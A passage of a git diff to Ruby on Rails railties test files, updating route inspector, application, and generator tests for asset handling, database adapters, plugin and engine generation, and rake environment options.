end + + def test_inspect_routes_shows_resources_route + @set.draw do + resources :articles + end + output = @inspector.format @set.routes + expected = [ + " articles GET /articles(.:format) articles#index", + " POST /articles(.:format) articles#create", + " new_article GET /articles/new(.:format) articles#new", + "edit_article GET /articles/:id/edit(.:format) articles#edit", + " article GET /articles/:id(.:format) articles#show", + " PUT /articles/:id(.:format) articles#update", + " DELETE /articles/:id(.:format) articles#destroy" ] + assert_equal expected, output + end + + def test_inspect_routes_shows_root_route + @set.draw do + root :to => 'pages#main' + end + output = @inspector.format @set.routes + assert_equal ["root / pages#main"], output + end + + def test_inspect_routes_shows_dynamic_action_route + @set.draw do + match 'api/:action' => 'api' + end + output = @inspector.format @set.routes + assert_equal [" /api/:action(.:format) api#:action"], output + end + + def test_inspect_routes_shows_controller_and_action_only_route + @set.draw do + match ':controller/:action' + end + output = @inspector.format @set.routes + assert_equal [" /:controller/:action(.:format) :controller#:action"], output + end + + def test_inspect_routes_shows_controller_and_action_route_with_constraints + @set.draw do + match ':controller(/:action(/:id))', :id => /\d+/ + end + output = @inspector.format @set.routes + assert_equal [" /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"], output + end + + def test_rake_routes_shows_route_with_defaults + @set.draw do + match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} + end + output = @inspector.format @set.routes + assert_equal [%Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}]], output + end + + def test_rake_routes_shows_route_with_constraints + @set.draw do + match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output + end + + class RackApp + def self.call(env) + end + end + + def test_rake_routes_shows_route_with_rack_app + @set.draw do + match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output + end + end +end diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb index e3a7f8a63c..a05e39658d 100644 --- a/railties/test/application/routing_test.rb +++ b/railties/test/application/routing_test.rb @@ -11,6 +11,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "rails/info/properties in development" do app("development") get "/rails/info/properties" @@ -137,7 +141,7 @@ module ApplicationTests test "routes appending blocks" do app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do - match ':controller#:action' + match ':controller/:action' end RUBY diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb index 292d1e247f..4468fa295e 100644 --- a/railties/test/application/runner_test.rb +++ b/railties/test/application/runner_test.rb @@ -18,6 +18,14 @@ module ApplicationTests MODEL end + def teardown + teardown_app + end + + def test_should_include_runner_in_shebang_line_in_help_without_option + assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner` } + end + def test_should_include_runner_in_shebang_line_in_help assert_match "/rails runner", Dir.chdir(app_path) { `bundle exec rails runner --help` } end diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb index f96319f472..27a7959e84 100644 --- a/railties/test/application/test_test.rb +++ b/railties/test/application/test_test.rb @@ -9,6 +9,10 @@ module ApplicationTests boot_rails end + def teardown + teardown_app + end + test "truth" do app_file 'test/unit/foo_test.rb', <<-RUBY require 'test_helper' diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE new file mode 100644 index 0000000000..bcd63c52e2 --- /dev/null +++ b/railties/test/fixtures/lib/generators/usage_template/USAGE @@ -0,0 +1 @@ +:: <%= 1 + 1 %> ::
\ No newline at end of file diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb new file mode 100644 index 0000000000..078b0f9412 --- /dev/null +++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb @@ -0,0 +1,5 @@ +require 'rails/generators' + +class UsageTemplateGenerator < Rails::Generators::Base + source_root File.expand_path("templates", File.dirname(__FILE__)) +end diff --git a/railties/test/fixtures/lib/generators/wrong_generator.rb b/railties/test/fixtures/lib/generators/wrong_generator.rb deleted file mode 100644 index 6aa7cb052e..0000000000 --- a/railties/test/fixtures/lib/generators/wrong_generator.rb +++ /dev/null @@ -1,3 +0,0 @@ -# Old generator version -class WrongGenerator < Rails::Generator::NamedBase -end diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb index 597746c4aa..51fa2fe16f 100644 --- a/railties/test/generators/actions_test.rb +++ b/railties/test/generators/actions_test.rb @@ -102,11 +102,32 @@ class ActionsTest < Rails::Generators::TestCase assert_file 'Gemfile', /gem "rspec-rails"$/ end + def test_gem_group_should_wrap_gems_in_a_group + run_generator + + action :gem_group, :development, :test do + gem 'rspec-rails' + end + + action :gem_group, :test do + gem 'fakeweb' + end + + assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/ + end + def test_environment_should_include_data_in_environment_initializer_block run_generator autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]' action :environment, autoload_paths - assert_file 'config/application.rb', /#{Regexp.escape(autoload_paths)}/ + assert_file 'config/application.rb', / class Application < Rails::Application\n #{Regexp.escape(autoload_paths)}/ + end + + def test_environment_should_include_data_in_environment_initializer_block_with_env_option + run_generator + autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]' + action :environment, autoload_paths, :env => 'development' + assert_file "config/environments/development.rb", /Application\.configure do\n #{Regexp.escape(autoload_paths)}/ end def test_environment_with_block_should_include_block_contents_in_environment_initializer_block @@ -158,9 +179,12 @@ class ActionsTest < Rails::Generators::TestCase action :generate, 'model', 'MyModel' end - def test_rake_should_run_rake_command_with_development_env - generator.expects(:run).once.with('rake log:clear RAILS_ENV=development', :verbose => false) + def test_rake_should_run_rake_command_with_default_env + generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env end def test_rake_with_env_option_should_run_rake_command_in_env @@ -168,9 +192,28 @@ class ActionsTest < Rails::Generators::TestCase action :rake, 'log:clear', :env => 'production' end + def test_rake_with_rails_env_variable_should_run_rake_command_in_env + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "production" + action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env + end + + def test_env_option_should_win_over_rails_env_variable_when_running_rake + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "staging" + action :rake, 'log:clear', :env => 'production' + ensure + ENV["RAILS_ENV"] = old_env + end + def test_rake_with_sudo_option_should_run_rake_command_with_sudo - generator.expects(:run).once.with('sudo rake log:clear RAILS_ENV=development', :verbose => false) + generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear', :sudo => true + ensure + ENV["RAILS_ENV"] = old_env end def test_capify_should_run_the_capify_command diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb index 42fe7a7fea..955ed09361 100644 --- a/railties/test/generators/app_generator_test.rb +++ b/railties/test/generators/app_generator_test.rb @@ -10,6 +10,7 @@ DEFAULT_APP_FILES = %w( config.ru app/assets/javascripts app/assets/stylesheets + app/assets/images app/controllers app/helpers app/mailers @@ -22,8 +23,8 @@ DEFAULT_APP_FILES = %w( doc lib lib/tasks + lib/assets log - app/assets/images script/rails test/fixtures test/functional @@ -34,6 +35,7 @@ DEFAULT_APP_FILES = %w( vendor/assets vendor/plugins tmp/cache + tmp/cache/assets ) class AppGeneratorTest < Rails::Generators::TestCase @@ -47,11 +49,12 @@ class AppGeneratorTest < Rails::Generators::TestCase ::DEFAULT_APP_FILES end - def test_application_controller_and_layout_files + def test_assets run_generator assert_file "app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application"/ assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/ assert_file "app/assets/stylesheets/application.css" + assert_file "config/application.rb", /config\.assets\.enabled = true/ end def test_invalid_application_name_raises_an_error @@ -123,46 +126,86 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_config_database_is_added_by_default run_generator assert_file "config/database.yml", /sqlite3/ - assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/ + end end def test_config_another_database run_generator([destination_root, "-d", "mysql"]) assert_file "config/database.yml", /mysql/ - assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/ + end + end + + def test_config_postgresql_database + run_generator([destination_root, "-d", "postgresql"]) + assert_file "config/database.yml", /postgresql/ + unless defined?(JRUBY_VERSION) + assert_file "Gemfile", /^gem\s+["']pg["']$/ + else + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/ + end end def test_config_jdbcmysql_database run_generator([destination_root, "-d", "jdbcmysql"]) - assert_file "config/database.yml", /jdbcmysql/ + assert_file "config/database.yml", /mysql/ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/ - assert_file "Gemfile", /^gem\s+["']jruby-openssl["']$/ if defined?(JRUBY_VERSION) && JRUBY_VERSION < "1.6" + # TODO: When the JRuby guys merge jruby-openssl in + # jruby this will be removed + assert_file "Gemfile", /^gem\s+["']jruby-openssl["']$/ if defined?(JRUBY_VERSION) end def test_config_jdbcsqlite3_database run_generator([destination_root, "-d", "jdbcsqlite3"]) - assert_file "config/database.yml", /jdbcsqlite3/ + assert_file "config/database.yml", /sqlite3/ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/ end def test_config_jdbcpostgresql_database run_generator([destination_root, "-d", "jdbcpostgresql"]) - assert_file "config/database.yml", /jdbcpostgresql/ + assert_file "config/database.yml", /postgresql/ assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/ end + def test_config_jdbc_database + run_generator([destination_root, "-d", "jdbc"]) + assert_file "config/database.yml", /jdbc/ + assert_file "config/database.yml", /mssql/ + assert_file "Gemfile", /^gem\s+["']activerecord-jdbc-adapter["']$/ + end + + def test_config_jdbc_database_when_no_option_given + if defined?(JRUBY_VERSION) + run_generator([destination_root]) + assert_file "config/database.yml", /sqlite3/ + assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/ + end + end + def test_generator_if_skip_active_record_is_given run_generator [destination_root, "--skip-active-record"] assert_no_file "config/database.yml" + assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/ assert_file "test/test_helper.rb" do |helper_content| assert_no_match(/fixtures :all/, helper_content) end assert_file "test/performance/browsing_test.rb" end - def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given - run_generator [destination_root, "--skip-active-record"] - assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/ + def test_generator_if_skip_sprockets_is_given + run_generator [destination_root, "--skip-sprockets"] + assert_file "config/application.rb" do |content| + assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content) + assert_no_match(/config\.assets\.enabled = true/, content) + end + assert_file "test/performance/browsing_test.rb" end def test_creation_of_a_test_directory @@ -170,9 +213,18 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file 'test' end + def test_creation_of_vendor_assets_javascripts_directory + run_generator + assert_file "vendor/assets/javascripts" + end + + def test_creation_of_vendor_assets_stylesheets_directory + run_generator + assert_file "vendor/assets/stylesheets" + end + def test_jquery_is_the_default_javascript_library run_generator - assert_file "config/application.rb", /#\s+config\.action_view\.javascript_expansions\[:defaults\]\s+=\s+%w\(prototype prototype_ujs\)/ assert_file "app/assets/javascripts/application.js" do |contents| assert_match %r{^//= require jquery}, contents assert_match %r{^//= require jquery_ujs}, contents @@ -184,7 +236,6 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_other_javascript_libraries run_generator [destination_root, '-j', 'prototype'] - assert_file "config/application.rb", /#\s+config\.action_view\.javascript_expansions\[:defaults\]\s+=\s+%w\(prototype prototype_ujs\)/ assert_file "app/assets/javascripts/application.js" do |contents| assert_match %r{^//= require prototype}, contents assert_match %r{^//= require prototype_ujs}, contents @@ -196,27 +247,11 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_javascript_is_skipped_if_required run_generator [destination_root, "--skip-javascript"] - assert_file "config/application.rb", /^\s+# config\.action_view\.javascript_expansions\[:defaults\]\s+=\s+%w\(\)/ assert_file "app/assets/javascripts/application.js" do |contents| assert_no_match %r{^//=\s+require\s}, contents end end - def test_inclusion_of_turn_gem_in_gemfile - run_generator - assert_file "Gemfile" do |contents| - assert_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2' - assert_no_match(/gem 'turn'/, contents) if RUBY_VERSION < '1.9.2' - end - end - - def test_turn_gem_is_not_included_in_gemfile_if_skipping_test_unit - run_generator [destination_root, "--skip-test-unit"] - assert_file "Gemfile" do |contents| - assert_no_match(/gem 'turn'/, contents) unless RUBY_VERSION < '1.9.2' - end - end - def test_inclusion_of_ruby_debug run_generator assert_file "Gemfile" do |contents| @@ -284,6 +319,15 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generated_environments_file_for_sanitizer + run_generator [destination_root, "--skip-active-record"] + ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file| + assert_file env_file do |file| + assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file) + end + end + end + protected def action(*args, &block) diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb index 375632e5bc..d6338bd3da 100644 --- a/railties/test/generators/assets_generator_test.rb +++ b/railties/test/generators/assets_generator_test.rb @@ -8,19 +8,13 @@ class AssetsGeneratorTest < Rails::Generators::TestCase def test_assets run_generator - assert_file "app/assets/javascripts/posts.js.coffee" - assert_file "app/assets/stylesheets/posts.css.scss" + assert_file "app/assets/javascripts/posts.js" + assert_file "app/assets/stylesheets/posts.css" end def test_skipping_assets - content = run_generator ["posts", "--no-stylesheets", "--no-javascripts"] - assert_no_file "app/assets/javascripts/posts.js.coffee" - assert_no_file "app/assets/stylesheets/posts.css.scss" - end - - def test_vanilla_assets - run_generator ["posts", "--no-javascript-engine", "--no-stylesheet-engine"] - assert_file "app/assets/javascripts/posts.js" - assert_file "app/assets/stylesheets/posts.css" + run_generator ["posts", "--no-stylesheets", "--no-javascripts"] + assert_no_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/stylesheets/posts.css" end end diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb index 46533b70be..c3fa9ebb03 100644 --- a/railties/test/generators/controller_generator_test.rb +++ b/railties/test/generators/controller_generator_test.rb @@ -39,8 +39,8 @@ class ControllerGeneratorTest < Rails::Generators::TestCase def test_invokes_assets run_generator - assert_file "app/assets/javascripts/account.js.coffee" - assert_file "app/assets/stylesheets/account.css.scss" + assert_file "app/assets/javascripts/account.js" + assert_file "app/assets/stylesheets/account.css" end def test_invokes_default_test_framework diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb index 0d2e624f44..a85829085c 100644 --- a/railties/test/generators/generated_attribute_test.rb +++ b/railties/test/generators/generated_attribute_test.rb @@ -68,6 +68,11 @@ class GeneratedAttributeTest < Rails::Generators::TestCase assert_field_default_value :string, 'MyString' end + def test_default_value_for_type + att = Rails::Generators::GeneratedAttribute.new("type", "string") + assert_equal("", att.default) + end + def test_default_value_is_text assert_field_default_value :text, 'MyText' end @@ -113,15 +118,8 @@ class GeneratedAttributeTest < Rails::Generators::TestCase end end - def test_nil_type_raises_exception - assert_raise Thor::Error do - create_generated_attribute(nil, 'title') - end - end - - def test_missing_type_raises_exception - assert_raise Thor::Error do - create_generated_attribute('', 'title') - end + def test_blank_type_defaults_to_string_raises_exception + assert_equal :string, create_generated_attribute(nil, 'title').type + assert_equal :string, create_generated_attribute("", 'title').type end end diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb index 1b9a8fd8a7..7fdd54fc30 100644 --- a/railties/test/generators/generators_test_helper.rb +++ b/railties/test/generators/generators_test_helper.rb @@ -12,7 +12,7 @@ Rails.application.config.generators.templates = [File.join(Rails.root, "lib", "t # Call configure to load the settings from # Rails.application.config.generators to Rails::Generators -Rails::Generators.configure! +Rails.application.load_generators require 'active_record' require 'action_dispatch' diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb index 8c5ba9926b..1b0cb425c6 100644 --- a/railties/test/generators/model_generator_test.rb +++ b/railties/test/generators/model_generator_test.rb @@ -12,9 +12,15 @@ class ModelGeneratorTest < Rails::Generators::TestCase end def test_model_with_missing_attribute_type - content = capture(:stderr) { run_generator ["post", "title:string", "body"] } - assert_match(/Missing type for attribute 'body'/, content) - assert_match(/Example: 'body:string' where string is the type/, content) + run_generator ["post", "title", "body:text", "author"] + + assert_migration "db/migrate/create_posts.rb" do |m| + assert_method :change, m do |up| + assert_match(/t\.string :title/, up) + assert_match(/t\.text :body/, up) + assert_match(/t\.string :author/, up) + end + end end def test_invokes_default_orm diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb index 6f8a9b4280..dd1e4bdac1 100644 --- a/railties/test/generators/namespaced_generators_test.rb +++ b/railties/test/generators/namespaced_generators_test.rb @@ -7,15 +7,7 @@ require 'rails/generators/rails/scaffold/scaffold_generator' class NamespacedGeneratorTestCase < Rails::Generators::TestCase def setup - TestApp::Application.isolate_namespace(TestApp) - end - - def teardown - if TestApp.respond_to?(:_railtie) - TestApp.singleton_class.send(:undef_method, :_railtie) - TestApp.singleton_class.send(:undef_method, :table_name_prefix) - TestApp::Application.isolated = false - end + Rails::Generators.namespace = TestApp end end @@ -252,7 +244,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_file "test/unit/helpers/test_app/product_lines_helper_test.rb" # Stylesheets - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end def test_scaffold_on_revoke @@ -283,7 +275,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_no_file "test/unit/helpers/test_app/product_lines_helper_test.rb" # Stylesheets (should not be removed) - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end def test_scaffold_with_namespace_on_invoke @@ -324,7 +316,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_file "test/unit/helpers/test_app/admin/roles_helper_test.rb" # Stylesheets - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end def test_scaffold_with_namespace_on_revoke @@ -356,6 +348,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_no_file "test/unit/helpers/test_app/admin/roles_helper_test.rb" # Stylesheets (should not be removed) - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end end diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb deleted file mode 100644 index 5c0774ddbd..0000000000 --- a/railties/test/generators/plugin_generator_test.rb +++ /dev/null @@ -1,71 +0,0 @@ -require 'generators/generators_test_helper' -require 'rails/generators/rails/plugin/plugin_generator' - -class PluginGeneratorTest < Rails::Generators::TestCase - include GeneratorsTestHelper - arguments %w(plugin_fu) - - def test_plugin_skeleton_is_created - silence(:stderr) { run_generator } - year = Date.today.year - - %w( - vendor/plugins - vendor/plugins/plugin_fu - vendor/plugins/plugin_fu/init.rb - vendor/plugins/plugin_fu/install.rb - vendor/plugins/plugin_fu/uninstall.rb - vendor/plugins/plugin_fu/lib - vendor/plugins/plugin_fu/lib/plugin_fu.rb - vendor/plugins/plugin_fu/Rakefile - ).each{ |path| assert_file path } - - %w( - vendor/plugins/plugin_fu/README - ).each{ |path| assert_file path, /PluginFu/ } - - %w( - vendor/plugins/plugin_fu/README - vendor/plugins/plugin_fu/MIT-LICENSE - ).each{ |path| assert_file path, /#{year}/ } - end - - def test_check_class_collision - content = capture(:stderr){ run_generator ["object"] } - assert_match(/The name 'Object' is either already used in your application or reserved/, content) - end - - def test_invokes_default_test_framework - silence(:stderr) { run_generator } - assert_file "vendor/plugins/plugin_fu/test/plugin_fu_test.rb", /class PluginFuTest < ActiveSupport::TestCase/ - assert_file "vendor/plugins/plugin_fu/test/test_helper.rb" - end - - def test_logs_if_the_test_framework_cannot_be_found - content = nil - silence(:stderr) { content = run_generator ["plugin_fu", "--test-framework=rspec"] } - assert_match(/rspec \[not found\]/, content) - end - - def test_creates_tasks_if_required - silence(:stderr) { run_generator ["plugin_fu", "--tasks"] } - assert_file "vendor/plugins/plugin_fu/lib/tasks/plugin_fu_tasks.rake" - end - - def test_creates_generator_if_required - silence(:stderr) { run_generator ["plugin_fu", "--generator"] } - assert_file "vendor/plugins/plugin_fu/lib/generators/templates" - assert_file "vendor/plugins/plugin_fu/lib/generators/plugin_fu_generator.rb", - /class PluginFuGenerator < Rails::Generators::NamedBase/ - end - - def test_plugin_generator_on_revoke - silence(:stderr) { run_generator } - run_generator ["plugin_fu"], :behavior => :revoke - end - - def test_deprecation - output = capture(:stderr) { run_generator } - assert_match(/Plugin generator is deprecated, please use 'rails plugin new' command to generate plugin structure./, output) - end -end diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb index 297ac5d238..9183945619 100644 --- a/railties/test/generators/plugin_new_generator_test.rb +++ b/railties/test/generators/plugin_new_generator_test.rb @@ -7,12 +7,13 @@ DEFAULT_PLUGIN_FILES = %w( .gitignore Gemfile Rakefile + README.rdoc bukkits.gemspec MIT-LICENSE lib lib/bukkits.rb lib/tasks/bukkits_tasks.rake - script/rails + lib/bukkits/version.rb test/bukkits_test.rb test/test_helper.rb test/dummy @@ -26,10 +27,6 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase # brings setup, teardown, and some tests include SharedGeneratorTests - def default_files - ::DEFAULT_PLUGIN_FILES - end - def test_invalid_plugin_name_raises_an_error content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] } assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content @@ -67,16 +64,16 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_no_file "test" end - def test_database_entry_is_assed_by_default_in_full_mode + def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode run_generator([destination_root, "--full"]) assert_file "test/dummy/config/database.yml", /sqlite/ - assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + assert_file "bukkits.gemspec", /sqlite3/ end def test_config_another_database run_generator([destination_root, "-d", "mysql", "--full"]) assert_file "test/dummy/config/database.yml", /mysql/ - assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + assert_file "bukkits.gemspec", /mysql/ end def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given @@ -102,19 +99,41 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase def test_skipping_javascripts_without_mountable_option run_generator - assert_no_file "app/assets/javascripts/application.js" + assert_no_file "app/assets/javascripts/bukkits/application.js" assert_no_file "vendor/assets/javascripts/jquery.js" assert_no_file "vendor/assets/javascripts/jquery_ujs.js" end def test_javascripts_generation run_generator [destination_root, "--mountable"] - assert_file "app/assets/javascripts/application.js" + assert_file "app/assets/javascripts/bukkits/application.js" + end + + def test_jquery_is_the_default_javascript_library + run_generator [destination_root, "--mountable"] + assert_file "app/assets/javascripts/bukkits/application.js" do |contents| + assert_match %r{^//= require jquery}, contents + assert_match %r{^//= require jquery_ujs}, contents + end + assert_file 'bukkits.gemspec' do |contents| + assert_match(/jquery-rails/, contents) + end + end + + def test_other_javascript_libraries + run_generator [destination_root, "--mountable", '-j', 'prototype'] + assert_file "app/assets/javascripts/bukkits/application.js" do |contents| + assert_match %r{^//= require prototype}, contents + assert_match %r{^//= require prototype_ujs}, contents + end + assert_file 'bukkits.gemspec' do |contents| + assert_match(/prototype-rails/, contents) + end end def test_skip_javascripts run_generator [destination_root, "--skip-javascript", "--mountable"] - assert_no_file "app/assets/javascripts/application.js" + assert_no_file "app/assets/javascripts/bukkits/application.js" assert_no_file "vendor/assets/javascripts/jquery.js" assert_no_file "vendor/assets/javascripts/jquery_ujs.js" end @@ -138,18 +157,28 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`) end + def test_ensure_that_migration_tasks_work_with_mountable_option + run_generator [destination_root, "--mountable"] + FileUtils.cd destination_root + quietly { system 'bundle install' } + `bundle exec rake db:migrate` + assert_equal 0, $?.exitstatus + end + def test_creating_engine_in_full_mode run_generator [destination_root, "--full"] - assert_file "app/assets/javascripts" - assert_file "app/assets/stylesheets" - assert_file "app/assets/images" + assert_file "app/assets/javascripts/bukkits" + assert_file "app/assets/stylesheets/bukkits" + assert_file "app/assets/images/bukkits" assert_file "app/models" assert_file "app/controllers" assert_file "app/views" assert_file "app/helpers" + assert_file "app/mailers" assert_file "config/routes.rb", /Rails.application.routes.draw do/ - assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < Rails::Engine\n end\nend/ + assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/ assert_file "lib/bukkits.rb", /require "bukkits\/engine"/ + assert_file "script/rails" end def test_being_quiet_while_creating_dummy_application @@ -158,15 +187,40 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase def test_create_mountable_application_with_mountable_option run_generator [destination_root, "--mountable"] - assert_file "app/assets/javascripts" - assert_file "app/assets/stylesheets" - assert_file "app/assets/images" + assert_file "app/assets/javascripts/bukkits" + assert_file "app/assets/stylesheets/bukkits" + assert_file "app/assets/images/bukkits" assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/ assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/ assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/ assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n class ApplicationController < ActionController::Base/ assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/ - assert_file "app/views/layouts/bukkits/application.html.erb", /<title>Bukkits<\/title>/ + assert_file "app/views/layouts/bukkits/application.html.erb" do |contents| + assert_match "<title>Bukkits</title>", contents + assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents) + assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents) + end + end + + def test_creating_gemspec + run_generator + assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/ + assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/ + assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/ + assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/ + end + + def test_usage_of_engine_commands + run_generator [destination_root, "--full"] + assert_file "script/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/ + assert_file "script/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/ + assert_file "script/rails", /require 'rails\/all'/ + assert_file "script/rails", /require 'rails\/engine\/commands'/ + end + + def test_shebang + run_generator [destination_root, "--full"] + assert_file "script/rails", /#!\/usr\/bin\/env ruby/ end def test_passing_dummy_path_as_a_parameter @@ -176,6 +230,21 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_no_file "test/dummy" end + def test_creating_dummy_without_tests_but_with_dummy_path + run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"] + assert_file "spec/dummy" + assert_file "spec/dummy/config/application.rb" + assert_no_file "test" + end + + def test_skipping_test_unit + run_generator [destination_root, "--skip-test-unit"] + assert_no_file "test" + assert_file "bukkits.gemspec" do |contents| + assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents) + end + end + def test_skipping_gemspec run_generator [destination_root, "--skip-gemspec"] assert_no_file "bukkits.gemspec" @@ -187,6 +256,10 @@ protected silence(:stdout){ generator.send(*args, &block) } end +protected + def default_files + ::DEFAULT_PLUGIN_FILES + end end class CustomPluginGeneratorTest < Rails::Generators::TestCase @@ -204,7 +277,6 @@ class CustomPluginGeneratorTest < Rails::Generators::TestCase assert_file 'spec/dummy' assert_file 'Rakefile', /task :default => :spec/ assert_file 'Rakefile', /# spec tasks in rakefile/ - assert_file 'script/rails', %r{spec/dummy} end protected diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb index 4b07f8bcbe..2db8090621 100644 --- a/railties/test/generators/scaffold_generator_test.rb +++ b/railties/test/generators/scaffold_generator_test.rb @@ -80,9 +80,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_file "test/unit/helpers/product_lines_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_file "app/assets/javascripts/product_lines.js.coffee" - assert_file "app/assets/stylesheets/product_lines.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" + 